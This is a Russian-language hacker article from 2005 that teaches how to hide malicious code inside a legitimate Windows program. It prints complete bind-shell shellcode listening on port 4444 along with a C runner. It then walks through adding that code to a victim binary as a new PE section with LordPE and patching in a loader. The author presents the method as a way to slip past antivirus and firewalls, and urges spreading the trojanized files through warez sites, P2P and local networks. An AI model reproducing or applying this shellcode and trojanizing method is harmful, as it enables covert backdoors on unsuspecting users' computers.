Идеальный способ распространения злого кода


Идеальный способ распространения "злого" кода
Автор: ProTeuS [cybercracker@narod.ru]

Что нужно:
1. LordPE by Yoda
2. W32Dasm
3. PEID
4. TOPO
5. Ну и, естессно, некривые рики ;)

Вступление

4то бы там не говорили, но Мелкософты без дела не сидят...
Канули в лету самые "вкусные" дыры, которыми еще пару месяЦев назад можно было рутать не одну тыся4у незащищенных машин. Теперь и инжектированием своего кода в адрессное пространство "доверительного" процесса никого не удивишь. Даже тупые фаеры нау4иись с этим бороться. Теперь придумывают способы один изощренней другого, но и такие долго не остаются без "вакцины". Я же предлагаю в своей статье описать один нехитрый способ рассылки "злого"(под "злым" я понимаю не обязательно трояны, руткиты и т.д., это может быть и банальный скрытый с4ет4ик посещений твоего ресурса, ска4ки софта, какая-то статистика, вообщем, все, 4то иногда бывает полезно) кода методом его предварительного внедрения в бинарник "нужного" жертве продукта.

Ближе к делу

Сна4ала выбераем "подсадную утку" для жертвы - файл, который, предположительно, должа ска4ать и запустить у себя жертва. Тут я тебя, мой любознательный 4итатель, полная свобода выбора! Коне4но, ДЛЛки мелкософта с сертификатом - не лу4ший выбор, а вот какой-то абстракный шароварный продукт общего пользования подходит как нельзя кстати. Мы же, не будь злодеями, возьмем обы4ный calc.exe из %Systemroot% (или 4то-либо другое) и будем тренироваться на нем...

Подготовка "злого" кода

Для того, 4тобы 4то-то заражать, добавлять какой-то скрытый код, нужно перед этим его подготовить. Вот этим мы сей4ас и займемся. Я решил остановиться на банальном биндшелле - хотя можно сделать и загрузку какого-либо файла из сети, изменение\удаление правил фаера - и подготовил его шеллкод:

//Биндшелл win32 на 4444 порт
#include
char shellcode[] = "\x31"
"\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x92"
"\x35\x88\x95\x83\xeb\xfc\xe2\xf4\x6e\x5f\x63\xda\x7a\xcc\x77\x6a"
"\x6d\x55\x03\xf9\xb6\x11\x03\xd0\xae\xbe\xf4\x90\xea\x34\x67\x1e"
"\xdd\x2d\x03\xca\xb2\x34\x63\x76\xa2\x7c\x03\xa1\x19\x34\x66\xa4"
"\x52\xac\x24\x11\x52\x41\x8f\x54\x58\x38\x89\x57\x79\xc1\xb3\xc1"
"\xb6\x1d\xfd\x76\x19\x6a\xac\x94\x79\x53\x03\x99\xd9\xbe\xd7\x89"
"\x93\xde\x8b\xb9\x19\xbc\xe4\xb1\x8e\x54\x4b\xa4\x52\x51\x03\xd5"
"\xa2\xbe\xc8\x99\x19\x45\x94\x38\x19\x75\x80\xcb\xfa\xbb\xc6\x9b"
"\x7e\x65\x77\x43\xa3\xee\xee\xc6\xf4\x5d\xbb\xa7\xfa\x42\xfb\xa7"
"\xcd\x61\x77\x45\xfa\xfe\x65\x69\xa9\x65\x77\x43\xcd\xbc\x6d\xf3"
"\x13\xd8\x80\x97\xc7\x5f\x8a\x6a\x42\x5d\x51\x9c\x67\x98\xdf\x6a"
"\x44\x66\xdb\xc6\xc1\x66\xcb\xc6\xd1\x66\x77\x45\xf4\x5d\x99\xc9"
"\xf4\x66\x01\x74\x07\x5d\x2c\x8f\xe2\xf2\xdf\x6a\x44\x5f\x98\xc4"
"\xc7\xca\x58\xfd\x36\x98\xa6\x7c\xc5\xca\x5e\xc6\xc7\xca\x58\xfd"
"\x77\x7c\x0e\xdc\xc5\xca\x5e\xc5\xc6\x61\xdd\x6a\x42\xa6\xe0\x72"
"\xeb\xf3\xf1\xc2\x6d\xe3\xdd\x6a\x42\x53\xe2\xf1\xf4\x5d\xeb\xf8"
"\x1b\xd0\xe2\xc5\xcb\x1c\x44\x1c\x75\x5f\xcc\x1c\x70\x04\x48\x66"
"\x38\xcb\xca\xb8\x6c\x77\xa4\x06\x1f\x4f\xb0\x3e\x39\x9e\xe0\xe7"
"\x6c\x86\x9e\x6a\xe7\x71\x77\x43\xc9\x62\xda\xc4\xc3\x64\xe2\x94"
"\xc3\x64\xdd\xc4\x6d\xe5\xe0\x38\x4b\x30\x46\xc6\x6d\xe3\xe2\x6a"
"\x6d\x02\x77\x45\x19\x62\x74\x16\x56\x51\x77\x43\xc0\xca\x58\xfd"
"\x62\xbf\x8c\xca\xc1\xca\x5e\x6a\x42\x35\x88\x95";

int
main(){
void (*funct) ();
(long) funct = &shellcode;
funct();}

Теперь компилируем программу, выполняющую шеллкод и с помощью утилиты LordPE сохраняем содержащую его секцию данных(portbind).


Конвертируем шеллкод в секцию данных

Практи4еская 4асть

Дальше загружаем в LordPE файл "жертвы" и подгружаем в него дополнительную секцию данных portbind (не забыв поменять ее флаг на Е0000020, ина4е код не сможет исполняться!) и запоминаем ее смещение (в моем файле оно равно D7000)

Подгружаем в файл содержащую шеллкод секцию

Теперь нам осталось только найти в программе-жертве пустое(или никогда не исполняющееся при каких-либо поверках)место, и вставить вместо него загруз4ик нашего шеллкода. Я сделал это так:

Так я реализовал загруз4ик шеллкода

Думаю, здесь все понятно, исполняется код по адресу D7000. А там, как мы помним, содержится наш шеллкод.

уда4ный запуск "злого" кода(использовался другой шеллкод)

После его запуска программа вернется к исполнению "своего" тела...

Способы распространения

Исходя из самого принципа "заражения злым кодом", автомати4ески отпадают проблемы борьбы с антивирусами, брандмауерами. И не мудрено, поскольку пользователь будет думать, 4то все действия выполняет не наш шеллкод, а доверительное приложение, его испольняющее и будет разрешать ему любую активность. Согласитесь, ведь докопаться до нашего "злого" кода в бинарнике сможет далеко не каждый пользователь в одино4ку. А если использовать всякого рода паковщики, то наш код окажется навеки тайной!
Единственной проблемой метода есть ограни4енность заражения "злым" кодом. Мне видится наивернейшим путь его массового распространения в варез-порталах, p2p, или просто, наконец, в городских сетях.

gl hf 2 all
04.06.2005